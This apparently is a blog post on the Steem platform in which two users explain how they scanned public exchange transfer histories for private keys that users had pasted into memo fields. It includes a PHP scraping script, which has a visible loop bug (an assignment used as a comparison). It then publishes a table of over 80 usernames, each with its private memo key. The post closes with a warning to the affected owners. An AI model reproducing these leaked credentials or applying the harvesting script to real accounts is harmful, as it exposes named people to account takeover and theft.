Image credits: source

Me @davidk and my friend @ralphhovsepian got access to 82 steemit account private memo keys while trying some of our scripts.

Notice:
-we did not hack the steemit blockchain
-we did not steal any money
-we did not use any social engineering

This bug is not very popular although many people are talking about it. It is when you transfer steem and steem dollar and put your private memo key or your password in the memo box which is public.

Here is how we did it

-we used the new SteemPHP which is located at (https://github.com/davidkevork/steemphp)

< ?php   <-- remove the space
include './vendor/autoload.php';
use SteemPHP\SteemConnection;
$SteemConnection = new SteemConnection('https://steemd.steemit.com');
$account = 'bittrex';
for ($i=0; $i < 86; $i++) {
    $collect = [];
    if ($i = 0) { $l = -1; } else { $l = $i * 1000; }
    $data = $SteemConnection->getAccountHistory($account, 1000, $l);
    foreach ($data as $key => $value) {
        if ($value[1]['op'][0] == 'transfer') {
            if (strlen($value[1]['op'][1]['memo']) == 51) {
                $collect[] = $value[1]['op'][1]['from'].':'.$value[1]['op'][1]['to'].':'.$value[1]['op'][1]['memo'];
            }
        }
    }
    file_put_contents($account.'_'.$i, serialize($collect));
}
?>

we analysed the entire trading history of bittrex, poloniex and blocktrades which in total is over 50,000 transfer and got access to 82 active private memo keys.

while we found passwords and more private memo keys, the account owner has changed them.
here is the list of the accounts with their private memo keys.

username	memo key
jacob.martin	5HwKNiwtHe4YEk2vDhiRPt6cbViAxjmW31i9La8iGufdK28us2p
shaneit	5KPKMftui7afrmDG1FiLYQ8Jx4grR89qRKQiFDm546BWuX33JJH
tarquinmaine	5HqnCMcpyKraSJKK1Zyg6xNMhYiSt7u7Xr84X86ozrZ26HwQdrM
athleteyoga	5KU2dcxLpSCJZ4SB8eBqUJs2PCEuwfx7w2XYCUmcnLqgdHHqjq2
murat	5K8R2J7xiLRN3HWdAy5Zym4taE74o9DWF8FV82HHFrqNUZDzdxW
lostnuggett	5JEKwfrtSEFvw8P8qnWyDhfxnQTRB5Vn2WxwW3tE4gL4pZiwPcQ
nikolad	5KdeDUj92w2HXsLH6V6SpNGPAeyBtJEU5jVoqZyjaHDkE39AkzF
norbu	5J5HyEwx54MwKW8gpsSBzvwAweHRjH11CXs85RCNWSooyPYRaeh
inphinitbit	5J9uWL39vDYgEosscgxEziYQ2ybPbxM5e9sPkzTxgqTgNYC7Mx7
churchsoftware	5KB3B3rHxvvaR3C2gfNyKkkReqdfbsjPs4AZ8ceiiR4B49oCDmJ
mama-c	5HqAhZBvbBJKVWJ1tsrg7xnS1dvNNyxBoHzp8Snvp9C6Uawx66x
writemore	5JJTZpTEvw4C7cnU7Q9NfzUnXSYqwYLLxkP7B3c39Z82Uwzj14d
nathanhollis	5Kk1N4nxMPbqVuJCVt3MUjz5dvJR716cUAdf6c3kToqzMqT8rRu
cryptowaffles	5KRwDaAACzyeLS7mnW66XVqdZCx6iRxwiwXVYxRDB4XkK8GYLcg
dattabitcoin	5JCsWSu1wj7ynCBoMJyGE7G2hbSgBhoAeRzYZWeQrEP3iArMqz9
hingedthomas	5JtBsXesxSw8v5oDbo5sgyjzQBHbQQgK6KRGwz2FyckMVbKwpFQ
marshallevans	5HzSBZKoRrpywHykT5DY4nhb64sCxM9hwxooZfqYynvNVMVhNCw
sandman1923	5KXPMrMVyZJwg264vaQnbdPaaEhLLuMoU8JonujJDWVTyKoReY3
alesuperlano	5KgyKE4MpdRmMmGxL3nSgbamhqDBP1UJMp6YDkEeLwh9zc4MJs8
toniesteem	5JPtVB84rD6qExui5W3R8eD3kb9m4mqGVSvFX4hcffBreF1VGSf
luvbnamome	5K7pdhDeiB5YWP4Fp64uMiWbDnNBNPGnDHNqJymS3EAGJCncika
andrewgenaille	5KCgT8Fyydtx8ANTQGjacxP1iYR3YLpbvCznXUrHYJ5tiKnF3Av
leesmoketree	5Kctn9BvtxB3CXzzX4GMcmLygq42LqisCZr5MAy7VYPzvwX5o7u
alexab	5J8Vt4pkmELZyVHhob17zwamh8RVMpRvoTqW5yYDsywSzwyJu9H
jimmydicarlo	5KcxWxHm5DPo4snzr4GeR8ZcYVMgZTQnvwDvye88TcSNdRo58Kn
xplicit	5JSbj2AtK4pTmHKDh7c3xsYKy41ndnYrV94UUb5LXKWf5eFX5RS
lightproject	5JyZS8HUgaEJGbUdWyUnVrPKpQnKBSzWG7A3pdFsk44srBUQvBJ
runridefly	5K2PBFRVeGKx4fVjBc8d8gcFNXqEbSkp5ghKQzW2H5soDzgtx4o
antonlive	5KDP8R9KbQVfNeSxs4aNpMcEjC1xrovkNHsCveZrNR5hd3g9NeV
fidesustradis	5Kb4KftPhsoqtaiKfjZUqzHDYdPSeeposVwNoJC2eMGCAhh5BxF
zarch95	5Jng1bcw7YdkM6MVoKvmsDYrvv3ny4e7njoUU5tXXqZsteihYVY
alekiwi	5Kf1mDMHQWYKnZ92YFPjcQhCBmuZp67d9ainaefZLcdNEBVDpR5
asamhusayn	5JntUeKfFMhs29jQPF7CQ6mY2Vy2woJGyWsJWhXJEucfBEazniW
jmwinch	5KC3SA4PBM7KwBHn3vGJ9QZRoDVaaZNTWu835H458mqdULPxzoc
stellarinvestor	5KMrskMG7Eji3VGHtAumjeRSaGqKHsz3MLnuMuciHKCBMR5A2Yq
thebaek	5Jico2CC8Rb37qrTa4csouyjB68zXG4hkMWbrzV73Ss49VRYvZk
lulzim	5HvSmAhxFVD19B9W5smT1aES76syi9YsmfVRtMGChpGckmoPTzs
mallorca	5JyCGGUFSBNe2prqAqjbYzXZkohf1mYbXP1iavZm7G3yaeqniYF
stocka	5KY92W7auZHkrqqHW9AdpUViBK3EeeJ72H816ZFdvgREeF1tetn
shockstar	5J7A7tbqmMs1riVhNTDLMfRKY63qzgByYwzY3EgimUY39r4RDc2
carlosgarcia	5Jzwwxeura2PitVia9GJwcoyqK3jwyChQ1xGBYPCBhTxZuqKEiZ
witze	5KcDr6Xc1rZt1RqrdmVkuJ3cJfym8DMupcy37XNS8ruvAPH9n3q
bitdollar	5KjrByjr4GLjyKyKH9JtMg7NPMeYaffBTWui6FdU6jziDj2rMgS
bulleye88	5KDwjiLtPjwumUt86iQpRohT2ej4W6q1SvSTVPkPSEbBbxzVSJX
piotras	5J2ynjeVeWsPBUafwuMqWtMPYSFvTf3jqcMoyhjx4Xw7zjQ9D6U
francoisstrydom	5Jkw1HdHc1ucwTosaqhXVAhyG848d1ZJprQsrwP1UEctazBvU3D
hoanghiep1990	5HwhbBTw2U7361wa55SEhmnkPFzLbNFbGbh5UfPTTgrfExNipus
rawmeen	5JnLMoPRry2n361tPxQq7MYy16tn5PuT2PmsP1FLrRGJsp1Vfem
tee-em	5KPT9Nhtho3qaAFkGQ4zqy7Dae1729WdYM5wL3UPyKVuTauonif
smisi	5Hsre3qaCDBcxwGiig5qFc65dwf2NfAssUUTXfCWFmbhbxPz7bL
dollarvigilante	5Hqzx26rSmSJ2o5VB8gicf3F2Q6BU35n1nMNajcEmDxMietvUVx
cryptoeasy	5JNv71NgwCRUDAQu1NP67TDRVHKmRnnGLRfNFMwAKS8fTMLvLkQ
iaco	5JTYW5HfPJJX47VRT1Cq9Nz8aSruWKhETiD6oo9GPJNteQ5RPke
richarddean	5JPPUidz7rPN6VPHFJQbjnh8a3JQCDzP7fJSt93EQkUeLr3gmJJ
luani	5Jo7p98JCpTiH1q9kVC81etym4QSHRRpLDvxumRW7BXouDu8Yfd
colombiana	5JaewDd6gw4AjXGhABCdZk2FHrwxHJnJDWZmkUzJYuny6rarbf3
beeridiculous	5KHkKyHpxDBuuKGt5QwTbb42bxmMUo1Xk9efBKU7wUoRed2Ak8z
maxfuchs	5J9CvSGNyLBgUwhKtsTWCqTddbDZJ4tFrVSyWFzDstsQiG9spPe
surpriseattack	5K8Be3nW33Lc5vqRUJx3xmoLFnMMmJPMthYHb16i7R2gwFTJqh3
hithere	5HxdErB3wPUDQKWEcjNBBWLpB1uJ8aMrY1tK5ZA1k56MqmTtT31
bryguy	5JdJHDcgeqyaHEgmyTbob221RUvttqyRVVPViAMzuq4hWJKw6sa
theofphotography	5KRJ9qt8E9o6KXFhfyW7PJH7sDsmSBVaBeC8SmLR5LmReQii44Y
jellos	5JYXarzjE5afBtHcjhvdUcczrqCsfUEyxVRTKAFyDdjGatkTNNy
chuckles	5KWf41ixGbPMpAxNhe47jtTVbyAi9Su4mZrHaVanYP2rQWoPUUk
amrsaeed	5JqaDeu2s3BsG9QYenpz2xjLfg3qdaeWhXduYNUSmK7KWAywx93
dethie	5K3BBi9pETRGG7KkS7VDrWY7exDCCi315prn2Mf9dTuR9vCejEH
bloodhound	5JQZo8QDuQ1eDqsgMnVHg1ujqYNUTEDV4KYZyeSdbzSAbXMsSuV
lopezro	5K6rmYGbHaGsAyGLpQMNupWcmjQFHvjX2GtYyCrC3KMgWAWcNci
bitlamb	5JBZGzS1J12G9RLN8Pwhb9RvB9yicUPQBajh7z6fQSSSWSDWmvM
aresmari	5KUvg3QJUu26PGAb4RE9XXHBQPXckT8iLGGsjxrvDY3F85Ta8RU
wakeupworldnews	5JGeZXMxpF5LGn4rXboa4aGhprL2gJw3mPdYt23JHcSfQw5r7La
rottdean2	5JmbyhbJnKooVtTZ37f2vzV6eNZzQDKDZn3E4xHayFP3XVEvwQr
cwrz1976	5K4MPxEQaFAwGWWTJPhvhFcixXwmPuVBzAQ1EyHmq9q5buKhwmf
murtazasyedm	5JSLXjkmEseNytqoxyRnKKxWau1ziqBiGKGB2MgVtYkQBzojy9E
big-ginger-fuck	5JwPV4kkJhJyj9JqvKixxXYpXGvjXZH88C67MJGX71XZTGcmRwZ
acarl211	5Hsa2amx9nM7MCRX1mjEjZe2xzX5sBj878AyFsb3i7rJXG3rBEN
edie84	5JAetePN5EnwnXW9FBTyw6E3tCvf9RtwAAWQQMybFvHPjq8Jn58
brandonas	5JFUjW7GZ61eG7AYb6uKMo1fC5LRDiDNzD9f9FuBtSx1Zqrb2Vp
neilism	5JGicrVfrxdwiYe44XHMo2xuUYs11a2uXjYB2HWqkECjaP9SYuD
fidesustradis	5Kb4KftPhsoqtaiKfjZUqzHDYdPSeeposVwNoJC2eMGCAhh5BxF
namjovi	5KiMquUaD8pkbqafnwpZJ4LSQR8ukNo64PBDj9jetY5eLipjuD2
medrivevan	5J52Djm9QspRUEz3tYaLKEqpUVHUnMBkyskhG7CMxKBpBtaCucS

It is advised that everyone in the list to be aware next time and warn their friend and also change your passwords if possible and make sure your account is no more accessible with the memo key above.

Image credits: source

inspired by @noisy